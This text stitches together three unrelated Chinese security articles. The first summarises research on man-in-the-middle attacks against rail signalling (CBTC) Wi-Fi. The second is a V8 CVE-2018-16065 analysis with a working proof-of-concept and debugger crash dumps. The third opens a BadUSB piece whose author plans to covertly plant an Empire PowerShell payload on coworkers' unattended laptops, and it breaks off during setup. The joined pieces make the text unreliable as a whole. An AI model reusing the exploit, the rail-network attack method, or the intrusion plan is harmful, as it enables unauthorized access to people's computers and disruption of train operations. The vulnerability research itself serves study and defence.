原文地址：<https://link.springer.com/chapter/10.1007/978-981-15-2914-6_14>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 Abstract
基于通信的列车控制（CBTC）系统利用连续的、大容量和双向的列车到路边（train-to-wayside）无线通信来确保安全和高效的操作，其中主要采用基于802.11协议的无线局域网（WLAN）。WLAN以公共频率工作，不可避免地会受到恶意干扰和攻击，这可能严重影响CBTC系统的性能。由于CBTC系统的故障安全机制，恶意攻击会导致列车紧急制动，从而降低运营效率。
本文考虑了对基于WLAN的火车到路边通信的多通道中间人（MitM）攻击，提出的攻击方法可以操纵802.11帧，并带来延迟、丢包、甚至可以修改火车与路边设备之间传输的消息。根据CBTC系统的运行原理，根据受到攻击的列车轨迹与预设的最优列车运行曲线之间的比较量化了MitM攻击的影响，仿真结果证明了MitM攻击的原理和后果。
## 0x01 Introduction
由于开放标准和可用的商用现成设备，基于802.11协议的WLAN通常被用作火车到路边通信的主要方法。在过去的几年中，轨道交通中的信息安全引起了越来越多的关注。
考虑到WLAN的固有特性，本文考虑了针对列车到路边无线通信的多通道MitM攻击。攻击者可以操纵特定的802.11帧以执行诸如延迟、丢包甚至修改之类的操作，这可能导致不必要的牵引、行车制动、甚至是火车的紧急制动。因此分析了MitM攻击对CBTC系统的影响，并衡量了系统性能的下降。
## 0x02 CBTC System
CBTC系统由五部分组成：控制中心设备、车站设备、路边设备、车辆车载设备和数据通信系统（DCS），上如图所示。控制中心设备主要是火车自动监控（ATS）子系统。工作站设备包括区域控制器（ZC），计算机联锁（CI），数据存储单元（DSU）和工作站ATS扩展。路边设备主要包括扶手和计轴设备。车载设备主要包括ATP，ATO和人机界面（MMI），其中ATP和ATO构成了车载控制器（VOBC）。
DCS由有线网络和火车到路边的无线通信网络组成。
基于WLAN的火车到路边无线通信网络由路边接入点（AP）和移动无线站（STA）组成。基于冗余设计，在不同通道上工作的两个AP沿着磁道部署在同一位置。同样，在列车的前后分别安装了两个STA
。AP和STA之间的无线链路可以在ZC和VOBC之间提供火车到路边的数据通道。
在CBTC系统中，通过列车到路边的通信，列车可以基于移动块模式有效而安全地运行。列车需要始终根据前一列列车的相关数据来改变驾驶策略，以在两列相邻列车之间保持一定的安全距离。
VOBC定期将火车的位置，行进方向和速度发送到ZC。
ZC根据来自ATS，CI和DSU的信息计算火车的移动权限（MA），并定期发送给火车。通常，MA可以是前一列火车尾部的位置。
根据MA的要求，ATP计算速度/位置曲线，以确保火车的安全运行。当速度超过极限速度时，ATP触发紧急制动，直到火车停止。当通信时间延迟达到最大允许中断时间时，火车将触发紧急制动，以确保火车的安全运行。如果火车在一段时间内未收到更新的MA，则上一个周期中收到的旧MA将用作当前周期的MA。
## 0x03 Multi-channel MitM Attack
MitM攻击采用了多通道技术，该技术将真实AP克隆到与真实通道不同的非法通道上的非法AP中，并迫使STA与非法AP连接。攻击者通过将真实AP发送的所有帧复制到STA的工作信道来充当真实AP。同时，攻击者通过将STA发送的所有帧复制到真实AP的工作信道来充当STA。通过在两个通道之间转发帧，STA和真实AP可以进行通信。
为了可靠地拦截所有流量，攻击者会在真实通道和恶意通道之间转发流量，这需要两个特殊的无线网络适配器，如上图所示，其中一个在真实通道上运行，而另一个在非法通道上运行。一旦启动了rouge
AP，攻击者就想强制STA连接到它。攻击者可以在信标内伪造信道切换公告（CSA）元素或探测响应，以迫使STA切换到恶意信道。当AP更改为新频道时，AP使用CSA通告新频道的频道号。
STA切换到rouge信道后，它不会与实际AP断开连接，因此不需要身份验证和关联。 STA切换后，攻击者开始在STA与真实AP之间转发帧。
攻击者可以操纵流量，并可以延迟、丢弃或修改STA与真实AP之间传输的特定帧。攻击者可以在收到帧后将其保存一段时间，然后转发或有选择地丢弃它，以增加VOBC和ZC之间的通信时间延迟。由于CBTC系统的安全要求，当通信时间延迟达到阈值时，可以将其视为通信中断。在以上攻击中，对手操纵加密的帧。在CBTC系统中，AP采用基于CCMP的WPA2保护机制。
如果攻击者想要修改加密的帧，则他必须将帧解密为纯文本，然后对其进行修改，然后进行加密并发送，如上图所示。要解密加密的帧或对纯文本进行加密，攻击者必须具有AP的预共享密钥，AP和STA的MAC地址以及通过四次握手生成的Anonce和Snonce来导出用于加密和解密的TK，可以从该帧中获取AP和STA的MAC地址。
为了获得Anonce和Snonce，攻击者需要在STA切换后向STA发送伪造的取消关联帧，这将导致重新开始四次握手。使用pyDot11库来解密和加密802.11帧，该库可以即时加密和解密802.11帧。通过修改帧，可以修改在VOBC和ZC之间传输的列车控制数据和列车状态数据
由于火车到路边的无线通信网络是冗余的双网络设计，因此仅攻击一个网络是无效的。同时攻击两个网络非常困难，因为两个攻击者必须严格同步。考虑以下情形：攻击者不断通过连续解除关联一直攻击STA，以使其与AP脱离关联，而另一攻击者则进行多通道MitM攻击。
## 0x04 Impacts and Simulations
通过多通道MitM攻击，攻击者可以增加通信时间延迟，中断通信并修改VOBC和ZC之间的数据。在本节中分析这三种攻击类型对CBTC系统的影响。根据CBTC系统的运行原理，通过比较受攻击列车轨迹与预设的最优列车运行曲线之间的比较来量化MitM攻击的影响，比较了不同情况下的列车行程时间，并使用了两个包围的区域速度/位置曲线除以行驶距离即可表示火车每米的速度差。差异越大，攻击对火车的影响越大。仿真参数如上表所示。
### a）通信延迟攻击
通过通信延迟攻击，可以增加列车的MA更新间隔，但小于最大允许中断时间。将MA更新间隔定义为 **T**
interval。当没有攻击时，该间隔大约等于通信周期T。假设的情况如上图所示，火车与目标点之间的距离为L，刹车指示点与目标点之间的距离为X。如果连续n个通信周期中火车未接收到更新后的MA，两个相邻的不同MA之间的时间间隔
**T** interval为(n +1)·T。当间隔满足：
其中vf是跟随列车的速度，并且跟随列车将应用行车制动以保持与领先列车的安全距离。当下一列火车最终接收到更新的MA时，它将停止行车制动并施加牵引力以加速行驶。
模拟方案配置如下，两列性能相同的火车从Station
0（0m）开始。攻击使通信延迟增加了3s。如上图所示，火车经常应用牵引力和行车制动。发生攻击时火车在接近刹车指示点的位置行驶，从600减速到680m，其速度从27.78下降到25.38m/s。攻击后，火车接收更新的MA，并从680m加速到760m，直到速度回到27.78
m/s。在这种攻击下，Station 0和Station 1（2000m）之间的每米速度差为0.275 m/s。
### b）通信终端攻击
通过通信中断攻击，列车到路边通信的时间间隔大于最大允许中断时间，列车将触发紧急制动，如上图所示。当速度降至0时，即使恢复了通讯，火车也无法在CBTC模式下重新运行。火车的位置不正确，因为在紧急制动过程中车轮打滑并锁死了。为了在CBTC模式下重新运行，列车必须首先在限制模式（RM）下运行，速度限制为下一个平衡台的25
km/h，以进行位置校准。
在仿真中，出发间隔为90s。攻击始于领先的火车行进至1000m，并在领先的火车停止后90s结束。如上图所示，在Station 0和Station
1之间，有和没有攻击的领先列车的时间分别为106s和232s。在Station 0和Station
4（8000m）之间，有和没有攻击的领先列车的时间分别为455s和581s。尽管后续列车没有受到攻击，但基于CBTC系统的运行原理，其时间也会相应增加。当领先列车未受到攻击时，下一列火车在Station
0和Station 1之间的行驶时间为106和176 s。当领先列车未受到攻击或受到攻击时，在Station 0和Station
4之间下一列列车的时间为455s和530s。
上图展示了有和没有攻击时两列火车的速度/位置曲线。发生攻击后，领先列车会在1000m处触发紧急制动，然后以RM运行，直到在1500m恢复至CBTC模式。因此，下一列火车在Station
0和在Station 1之间频繁应用牵引力和行车制动。领先火车的每米速度差在Station 0和Station 1之间为4.446 m/s。Station
0和Station 1之间的下一列火车每米速度差为7.022
m/s。另外，当领先列车受到攻击时，领先列车和后继列车之间的距离太近。为了保持一定的安全距离，下一列火车要比未攻击前列火车提前3412m进行行车制动。在Station
1和Station 4之间，后续列车每米的速度差为0.772 m/s。
### c）数据修改攻击
通过数据修改攻击，篡改了VOBC和ZC之间传输的列车控制数据和列车状态数据。这使他们可以获取彼此有关的错误数据。修改ZC生成的MA后，攻击者可能会使火车行驶到错误的位置。修改由火车发送的火车的位置后，由于连续两次接收到的火车位置之间的巨大差异，ZC会下降，这意味着ZC辖区内的所有火车都会触发紧急情况，制动显示为上图。重新启动ZC需要人工确认，并且需要很长时间。
由于修改火车控制数据可能仅影响一列火车，而修改火车状态数据将导致ZC下降并影响多列火车，因此仅考虑修改火车状态数据的情况。假设ZC的恢复时间为120s。上图显示两列火车减速到0的速度并在站点之间停了很长时间，因此与没有受到攻击相比，火车的旅行时间显着增加。在Station
1和Station 2（4000 m）之间，领先列车在没有和有攻击的情况下的行驶时间分别为106s和268s。在Station 0和Station
4之间，领先列车在没有受到攻击的情况下的时间分别为455s和616s。在Station 0和Station
1之间，后续列车在没有攻击和受到攻击的情况下的列车行驶时间分别为106s和286s，后续列车在Station 0和Station
4之间的行驶时间分别为455s和634s。
如上图所示，两列火车都触发紧急制动，然后以RM运行，直到它们恢复到CBTC模式。受到攻击后，Station 1和Station
2之间的领先列车每米速度差异为4.422 m/s，而Station 0和Station 1之间的后续列车每米速度差异为6.701 m/s。
## 0x05 Conclution
CBTC系统中的火车到路边无线通信网络在确保火车安全高效运行中发挥着重要作用。基于WLAN的漏洞，认为攻击者使用多通道MitM攻击列车到路边的无线通信网络。通过这种攻击，攻击者可以获得MitM的位置并执行诸如延迟，丢弃甚至修改之类的操作，这将导致不必要的牵引，行车制动，甚至是火车的紧急制动。将这些攻击分为三类：通信延迟攻击，通信中断攻击和数据修改攻击。根据CBTC系统的工作原理，通过对受攻击的列车轨迹与预设的最优列车运行状况的比较，量化了MitM攻击的影响。结果表明与无攻击相比，攻击增加了火车的行进时间和每米速度差。 | 社区文章 |
# CVE-2018-16065 in V8 EmitBigTypedArrayElementStore 分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
CVE-2018-16065 是 v8 中 `EmitBigTypedArrayElementStore` 函数内部的一个漏洞。该漏洞在检查相应
ArrayBuffer 是否被 Detach（即是否是`neutered`）之后，执行了一个带有 **副作用** 的（即 **可调用用户 JS
callback 代码** 的） `ToBigInt` 函数。而用户可在对应回调函数中将原先通过上述检查的 BigIntArray （即 **不是
neutered 的 TypedArray** ）重新变成 `neutered`。
这将使一部分数据被非法写入至一块已经 Detached 的 ArrayBuffer上。如果 GC 试图回收该 ArrayBuffer 的 backing
store ，则会触发 CRASH。
## 二、环境搭建
切换 v8 版本，然后编译：
git checkout 6.8.275.24
gclient sync
tools/dev/gm.py x64.debug
## 三、漏洞细节
在执行 JS 代码 `BigInt64Array.of` 函数时，v8 将调用以下 `Builtin_TypedArrayOf`函数：
// ES6 #sec-%typedarray%.of
TF_BUILTIN(TypedArrayOf, TypedArrayBuiltinsAssembler) {
TNode<Context> context = CAST(Parameter(BuiltinDescriptor::kContext));
[...]
DispatchTypedArrayByElementsKind(
elements_kind,
[&](ElementsKind kind, int size, int typed_array_fun_index) {
TNode<FixedTypedArrayBase> elements =
CAST(LoadElements(new_typed_array));
BuildFastLoop(
IntPtrConstant(0), length,
[&](Node* index) {
TNode<Object> item = args.AtIndex(index, INTPTR_PARAMETERS);
TNode<IntPtrT> intptr_index = UncheckedCast<IntPtrT>(index);
// 如果当前的 TypeArray 是 BigIntArray
if (kind == BIGINT64_ELEMENTS || kind == BIGUINT64_ELEMENTS) {
// 则剩余操作在 EmitBigTypedArrayElementStore 函数内部完成
EmitBigTypedArrayElementStore(new_typed_array, elements,
intptr_index, item, context,
&if_neutered);
} else {
[...]
},
1, ParameterMode::INTPTR_PARAMETERS, IndexAdvanceMode::kPost);
});
[...]
}
对于 BigIntArray 这类 TypedArray，v8 将在该函数中继续调用 `EmitBigTypedArrayElementStore`
函数，并在其中完成剩余的操作。
`EmitBigTypedArrayElementStore` 函数较为简单，先看看源码：
void CodeStubAssembler::EmitBigTypedArrayElementStore(
TNode<JSTypedArray> object, TNode<FixedTypedArrayBase> elements,
TNode<IntPtrT> intptr_key, TNode<Object> value, TNode<Context> context,
Label* opt_if_neutered) {
if (opt_if_neutered != nullptr) {
// Check if buffer has been neutered.
Node* buffer = LoadObjectField(object, JSArrayBufferView::kBufferOffset);
GotoIf(IsDetachedBuffer(buffer), opt_if_neutered);
}
// 获取 BigInt，其中 ToBigInt 函数会调用 JS 中的 [Object.valueOf] 函数
TNode<BigInt> bigint_value = ToBigInt(context, value);
TNode<RawPtrT> backing_store = LoadFixedTypedArrayBackingStore(elements);
TNode<IntPtrT> offset = ElementOffsetFromIndex(intptr_key, BIGINT64_ELEMENTS,
INTPTR_PARAMETERS, 0);
EmitBigTypedArrayElementStore(elements, backing_store, offset, bigint_value);
}
我们可以很容易的发现，如果 BigIntArray 的 ArrayBuffer 是 neutered 的，那么就直接跳到指定的 Label
处进行异常处理，不会再继续向下执行，也就是说 **不会再将 elements 写入至 backing_store** 。
但 `ToBigInt` 函数有点特殊，它将调用 Object.valueOf 属性的函数来获取值，而 **这个函数是可以被用户定义的**
。如果我们在该函数中，将当前 BigIntArray 的 ArrayBuffer 设置为 neutered
，那么下面执行写入操作时，数据写入的位置将是刚刚被 detach 的 ArrayBuffer 中。这是一步非法操作，如果 GC 试图回收该
ArrayBuffer 的 backing store ，那么这将使 GC 触发崩溃。
这里需要说明一下 `neutered` 的含义。即什么样的 ArrayBuffer 将会被视为 neutered 的？如何设置某个 Array 为
neutered ？
通过查阅 [v8
docs](https://v8docs.nodesource.com/node-10.15/d5/d6e/classv8_1_1_array_buffer.html#ab73b5545800351ec54c4c0ac002f9d81)
，我们可以简单了解到，Neuter 这个操作，会将 Buffer 和所有 typed Array 的长度设置为0，从而防止JavaScript访问底层
backing_store。
我们再来看一下 v8 中的一个 Runtime 函数：`ArrayBufferNeuter`:
RUNTIME_FUNCTION(Runtime_ArrayBufferNeuter) {
HandleScope scope(isolate);
DCHECK_EQ(1, args.length());
Handle<Object> argument = args.at(0);
// This runtime function is exposed in ClusterFuzz and as such has to
// support arbitrary arguments.
// 该函数只对 ArrayBuffer 类型的参数效果，若传入其他类型则引出异常
if (!argument->IsJSArrayBuffer()) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kNotTypedArray));
}
Handle<JSArrayBuffer> array_buffer = Handle<JSArrayBuffer>::cast(argument);
// 如果当前 ArrayBuffer 不可被设置为 neuter,则不用继续执行下去，直接返回
if (!array_buffer->is_neuterable()) {
return isolate->heap()->undefined_value();
}
// 如果该 ArrayBuffer 的 backing_store 为空，检查 arraybuffer 的 length 是否为0。这一步是检查当前 ArrayBuffer 是否已经是 neutered 的。
if (array_buffer->backing_store() == nullptr) {
CHECK_EQ(Smi::kZero, array_buffer->byte_length());
return isolate->heap()->undefined_value();
}
// Shared array buffers should never be neutered.
CHECK(!array_buffer->is_shared());
DCHECK(!array_buffer->is_external());
// 准备开始 neuter 了，先获取 backing_store 指针和当前 ArrayBuffer 的长度
void* backing_store = array_buffer->backing_store();
size_t byte_length = NumberToSize(array_buffer->byte_length());
array_buffer->set_is_external(true);
// 将当前 ArrayBuffer 从ArrayBufferTracker中移除
isolate->heap()->UnregisterArrayBuffer(*array_buffer);
// 开始执行 neuter 操作
array_buffer->Neuter();
// 将backing_store占用的内存空间释放
isolate->array_buffer_allocator()->Free(backing_store, byte_length);
return isolate->heap()->undefined_value();
}
void JSArrayBuffer::Neuter() {
CHECK(is_neuterable());
CHECK(!was_neutered());
CHECK(is_external());
// 将当前 backing store 移除
set_backing_store(nullptr);
// 设置当前 length 为 0
set_byte_length(Smi::kZero);
set_was_neutered(true);
set_is_neuterable(false);
// Invalidate the neutering protector.
Isolate* const isolate = GetIsolate();
if (isolate->IsArrayBufferNeuteringIntact()) {
isolate->InvalidateArrayBufferNeuteringProtector();
}
}
简单读一下源码，我们也可以很容易的发现， **ArrayBuffer 的 neuter 操作 就是删除 ArrayBuffer 中的 backing
store 并重置其 length 字段。**
综上所述，neuter 的具体操作已经非常明确了，如果不明确的话还可以使用 `%DebugPrint` 比较一下 neuter 前后的差异。
接下来我们看看 Poc。
## 四、PoC
POC 如下：
// flags: --allow-natives-syntax --expose-gc
var array = new BigInt64Array(11);
// constructor 返回数组
function constructor() { return array };
function evil_callback() {
print("callback");
%ArrayBufferNeuter(array.buffer);
gc();
return 0xdeadbeefn;
}
var evil_object = {valueOf: evil_callback}
var root = BigInt64Array.of.call(
constructor,
evil_object
)
gc(); // trigger
分析上面的 POC，可以理出一条这样的漏洞触发过程：
* 首先执行 BigInt64Array.of.call ，其中 多调用了一个 call 是为了使 constructor 函数和 设置的 element 都可以操作同一个 array。
* 初始时， array 的 backing_store 存在，因此将绕过 v8 `EmitBigTypedArrayElementStore` 函数中的 ArrayBuffer **neutered** 检查，进入 **ToBigInt** 函数。
* ToBigInt 函数将会获取传入 element 的值，因此便会调用 evil_object.valueOf 函数，即调用 evil_callback JS 函数。
* 该函数将执行 v8 Runtime 函数 `%ArrayBufferNeuter`，释放 array 中 ArrayBuffer 的 backing_store。
* 完成以上操作后，v8 `EmitBigTypedArrayElementStore` 函数中的 ToBigInt 函数将返回，此时继续执行，试图将 element 写入之前保存的 backing_store 里。
* 由于该 ArrayBuffer 已经被 detached，因此这样的写入将修改该 backing_store 上的一些用于 GC 的元数据，使最后在执行 GC 时触发崩溃。
> **将值写入至 Detached ArrayBuffer** 时，因为其 heap chunk 仍然是 **allocated** 的，因此不存在
> UaF。
gdb 可能的两种崩溃输出如下：
第一种
pwndbg> r
Starting program: /usr/class/v8/v8/out/x64.debug/d8 --allow-natives-syntax --expose-gc test.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7fe86accc700 (LWP 84765)]
[New Thread 0x7fe86a4cb700 (LWP 84766)]
[New Thread 0x7fe869cca700 (LWP 84767)]
[New Thread 0x7fe8694c9700 (LWP 84768)]
[New Thread 0x7fe868cc8700 (LWP 84769)]
[New Thread 0x7fe8684c7700 (LWP 84770)]
[New Thread 0x7fe867cc6700 (LWP 84771)]
callback
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
tcache_get (tc_idx=4) at malloc.c:2951
2951 --(tcache->counts[tc_idx]);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────
RAX 0x5606a95b6030 ◂— 0x10000
RBX 0x4
RCX 0x5606a95b6018 ◂— 0x10001
RDX 0x0
RDI 0x58
RSI 0x7ffe89539b58 —▸ 0x5606a95d2ef0 —▸ 0x7ffe8953ba10 ◂— 0x5606a95d2ef0
R8 0xdeadbeef
R9 0x7ffe89539b6c ◂— 0x89539df800000002
R10 0x58
R11 0x58
R12 0xffffffffffffffa8
R13 0x5606a95d2fb8 —▸ 0x283c80e82ba9 ◂— 0x283c80e822
R14 0x5
R15 0x7ffe8953ab08 —▸ 0x354172782e39 ◂— 0xb1000005ceeae0ae
RBP 0x58
RSP 0x7ffe89539990 —▸ 0x7fe86cf8d220 ◂— push rbp
RIP 0x7fe86b7227be (malloc+286) ◂— mov rsi, qword ptr [r8]
───────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────
► 0x7fe86b7227be <malloc+286> mov rsi, qword ptr [r8]
0x7fe86b7227c1 <malloc+289> mov qword ptr [rax + 0x80], rsi
0x7fe86b7227c8 <malloc+296> mov word ptr [rcx], dx
0x7fe86b7227cb <malloc+299> mov qword ptr [r8 + 8], 0
0x7fe86b7227d3 <malloc+307> jmp malloc+184 <malloc+184>
↓
0x7fe86b722758 <malloc+184> pop rbx
0x7fe86b722759 <malloc+185> mov rax, r8
0x7fe86b72275c <malloc+188> pop rbp
0x7fe86b72275d <malloc+189> pop r12
0x7fe86b72275f <malloc+191> ret
0x7fe86b722760 <malloc+192> and rax, 0xfffffffffffffff0
───────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────
In file: /build/glibc-TrjWJf/glibc-2.29/malloc/malloc.c
2946 {
2947 tcache_entry *e = tcache->entries[tc_idx];
2948 assert (tc_idx < TCACHE_MAX_BINS);
2949 assert (tcache->entries[tc_idx] > 0);
2950 tcache->entries[tc_idx] = e->next;
► 2951 --(tcache->counts[tc_idx]);
2952 e->key = NULL;
2953 return (void *) e;
2954 }
2955
2956 static void
───────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe89539990 —▸ 0x7fe86cf8d220 ◂— push rbp
01:0008│ 0x7ffe89539998 —▸ 0x7ffe895399e0 —▸ 0x7ffe89539aa0 —▸ 0x7ffe89539de0 —▸ 0x7ffe89539e00 ◂— ...
02:0010│ 0x7ffe895399a0 ◂— 0xffffffffffffffff
03:0018│ 0x7ffe895399a8 —▸ 0x7fe86bb459d8 ◂— mov qword ptr [rbp - 0x10], rax
04:0020│ 0x7ffe895399b0 ◂— 0x2a100
05:0028│ 0x7ffe895399b8 —▸ 0x5606a962c3d0 ◂— 0x0
06:0030│ 0x7ffe895399c0 —▸ 0x5606a962c370 ◂— 0x0
07:0038│ 0x7ffe895399c8 —▸ 0x5606a962d3f0 —▸ 0x7fe86e241580 —▸ 0x7fe86d76e780 (v8::internal::CodeSpace::~CodeSpace()) ◂— push rbp
─────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────
► f 0 7fe86b7227be malloc+286
f 1 7fe86b7227be malloc+286
f 2 7fe86bb459d8
f 3 7fe86d823957
f 4 7fe86d8209a1
f 5 7fe86d8168de
f 6 7fe86d816309 v8::internal::Sweeper::StartSweeperTasks()+857
f 7 7fe86d7932b7 v8::internal::MarkCompactCollector::Finish()+343
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
第二种
pwndbg> r
Starting program: /usr/class/v8/v8/out/x64.debug/d8 --allow-natives-syntax --expose-gc test.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f1802341700 (LWP 87692)]
[New Thread 0x7f1801b40700 (LWP 87693)]
[New Thread 0x7f180133f700 (LWP 87694)]
[New Thread 0x7f1800b3e700 (LWP 87695)]
[New Thread 0x7f180033d700 (LWP 87696)]
[New Thread 0x7f17ffb3c700 (LWP 87697)]
[New Thread 0x7f17ff33b700 (LWP 87698)]
callback
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
0x00007f180468f76b in std::__1::__hash_table<std::__1::__hash_value_type<unsigned long, v8::internal::Cancelable*>, std::__1::__unordered_map_hasher<unsigned long, std::__1::__hash_value_type<unsigned long, v8::internal::Cancelable*>, std::__1::hash<unsigned long>, true>, std::__1::__unordered_map_equal<unsigned long, std::__1::__hash_value_type<unsigned long, v8::internal::Cancelable*>, std::__1::equal_to<unsigned long>, true>, std::__1::allocator<std::__1::__hash_value_type<unsigned long, v8::internal::Cancelable*> > >::__emplace_unique_key_args<unsigned long, std::__1::piecewise_construct_t const&, std::__1::tuple<unsigned long const&>, std::__1::tuple<> >(unsigned long const&, std::__1::piecewise_construct_t const&, std::__1::tuple<unsigned long const&>&&, std::__1::tuple<>&&) (this=0x559480f98fc8, __k=[@0x7ffd622fe4c8](https://github.com/0x7ffd622fe4c8 "@0x7ffd622fe4c8"): 22, __args=..., __args=..., __args=...) at ../../buildtools/third_party/libc++/trunk/include/__hash_table:2010
2010 for (__nd = __nd->__next_; __nd != nullptr &&
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────
RAX 0xdeadbeef
RBX 0x7f1804602220 ◂— push rbp
RCX 0x559480f98fc8 —▸ 0x559480ff5c50 ◂— 0xdeadbeef
RDX 0x0
RDI 0x7ffd622fe4c8 ◂— 0x16
RSI 0x16
R8 0x559480f99020 ◂— 0x1
R9 0x10
R10 0x0
R11 0x7f1802ecaca0 (main_arena+96) —▸ 0x559481034310 ◂— 0x0
R12 0xffffffffffffffff
R13 0x559480f8efb8 —▸ 0xba4cbf82ba9 ◂— 0xba4cbf822
R14 0x5
R15 0x7ffd622ffc08 —▸ 0x1d3adb982e39 ◂— 0xb10000254d0fb8ae
RBP 0x7ffd622fe480 —▸ 0x7ffd622fe560 —▸ 0x7ffd622fe590 —▸ 0x7ffd622fe5c0 —▸ 0x7ffd622fe5f0 ◂— ...
RSP 0x7ffd622fdd60 —▸ 0x7ffd622fdf90 ◂— 0x0
RIP 0x7f180468f76b ◂— mov rax, qword ptr [rax]
───────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────
► 0x7f180468f76b mov rax, qword ptr [rax]
0x7f180468f76e mov qword ptr [rbp - 0x598], rax
0x7f180468f775 xor eax, eax
0x7f180468f777 mov cl, al
0x7f180468f779 cmp qword ptr [rbp - 0x598], 0
0x7f180468f781 mov byte ptr [rbp - 0x689], cl
0x7f180468f787 je 0x7f180468f88e <0x7f180468f88e>
↓
0x7f180468f88e mov al, byte ptr [rbp - 0x689]
0x7f180468f894 test al, 1
0x7f180468f896 jne 0x7f180468f8a1 <0x7f180468f8a1>
↓
0x7f180468f8a1 mov rax, qword ptr [rbp - 0x678]
───────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────
In file: /usr/class/v8/v8/buildtools/third_party/libc++/trunk/include/__hash_table
2005 {
2006 __chash = __constrain_hash(__hash, __bc);
2007 __nd = __bucket_list_[__chash];
2008 if (__nd != nullptr)
2009 {
► 2010 for (__nd = __nd->__next_; __nd != nullptr &&
2011 (__nd->__hash() == __hash || __constrain_hash(__nd->__hash(), __bc) == __chash);
2012 __nd = __nd->__next_)
2013 {
2014 if (key_eq()(__nd->__upcast()->__value_, __k))
2015 goto __done;
───────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffd622fdd60 —▸ 0x7ffd622fdf90 ◂— 0x0
01:0008│ 0x7ffd622fdd68 —▸ 0x559481012378 —▸ 0x559481012310 —▸ 0x7f18058b3d60 —▸ 0x7f180483bc10 (v8::internal::Sweeper::IncrementalSweeperTask::~IncrementalSweeperTask()) ◂— ...
02:0010│ 0x7ffd622fdd70 ◂— 0x0
03:0018│ 0x7ffd622fdd78 —▸ 0x7ffd622fe450 —▸ 0x559480f99020 ◂— 0x1
04:0020│ 0x7ffd622fdd80 ◂— 9 /* '\t' */
... ↓
06:0030│ 0x7ffd622fdd90 —▸ 0x559481012360 —▸ 0x5594810122e0 —▸ 0x559480fd85d0 —▸ 0x559480ff43e0 ◂— ...
07:0038│ 0x7ffd622fdd98 —▸ 0x559480fe96d0 —▸ 0x559480fe9700 ◂— 0x0
─────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────
► f 0 7f180468f76b
f 1 7f180468f76b
f 2 7f180468e086 v8::internal::CancelableTaskManager::Register(v8::internal::Cancelable*)+502
f 3 7f180468de7a v8::internal::Cancelable::Cancelable(v8::internal::CancelableTaskManager*)+106
f 4 7f180468f237 v8::internal::CancelableTask::CancelableTask(v8::internal::CancelableTaskManager*)+39
f 5 7f180468f200 v8::internal::CancelableTask::CancelableTask(v8::internal::Isolate*)+48
f 6 7f1804d79983
f 7 7f1804d71c98
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
## 五、后记
该漏洞的[补丁](https://chromium.googlesource.com/v8/v8.git/+/7d47839dc062b69467f58c55aab7cc9abf78d687)非常简单：将调用
ToBigInt 函数的那一行语句，提至条件判断语句之前。这样就可以使 user JS callback 导致的 Neutered 也被 if
条件判断给捕获。
## 六、参考
* [Issue 867776: V8 OOB write BigInt64Array.of and BigInt64Array.from side effect neuter](https://bugs.chromium.org/p/chromium/issues/detail?id=867776) | 社区文章 |
# BadUSB轻松绕过防护拿下小姐姐的电脑
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
我是掌控安全学院的魔术手，最近公司其他部门招了很多小姐姐，基本都没啥安全意识，电脑离开公司也不关的那种，某一天脑子一抽想着怎么能快速拿下对方的电脑（电脑不关直接创建用户没意思），寻思怎么快速上一个木马，通过msf等生成免杀马感觉没啥意思，还要忽悠人家，影响我形象，于是就想到用一些手边的硬件来实现。
手上有一个badusb和raspberry zero w。其中raspberry
zero用的是P4wn1_alpha,以前用过，如果目标是台式机或者一体机效果不错。但是小姐姐用的是笔记本，感觉还是badusb靠普一点。
虽然过程很坎坷，也遇到了 腾讯安全管家 防护，但是结果达到了，badusb插上去后全成没有操作键盘鼠标， 腾讯安全管家 的允许访问为自动点击，结果如视频：
[视频传送门](https://v.youku.com/v_show/id_XNDI4ODQwMjY2MA==.html)
接下来的文章将按照我的思路进行，包括其中出现的问题以及我的解决方案。
## 过程
我的思路是用Empire生成一个powershell，然后通过badusb写入目标电脑，整个计划分为三步：安装Empire，烧录badusb和模拟测试，每一步都或多或少出了点问题，我会尽可能的把我遇到的问题和解决方案写出来，内容过细，大佬勿烦。
### 安装Empire
Empire是一款针对于Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架，具有很多功能，参考链接如下：http://www.powershellempire.com。虽然感觉一年多没更新了，但是还是很好用。需要注意的是，Empire运行在linux平台，我是部署在某云的ubuntu上。
Empire下载地址为：
https://github.com/EmpireProject/Empire。
直接在linux终端输入git clone
https://github.com/EmpireProject/Empire，等待一会就可以在系统中看到Empire文件夹。然后进入Empire文件夹内的setup文件夹，运行install.sh进行安装这里需要注意的是，在执行最后一个指令后可能需要你输入当前系统的root密码。整个过程指令分别是：cd
Empire，cd setup，sudo ./install.sh。
理论上等待片刻就可以安装成功，接下来只需在Empire文件夹内运行sudo
./empire即可，但是安装失败,我又换了几个平台，都是安装失败，我看了他的报错信息，都是缺少某些模块，猜测可能是源的问题，但是我的解决方案比较粗暴，哪个模块缺了就装哪个。
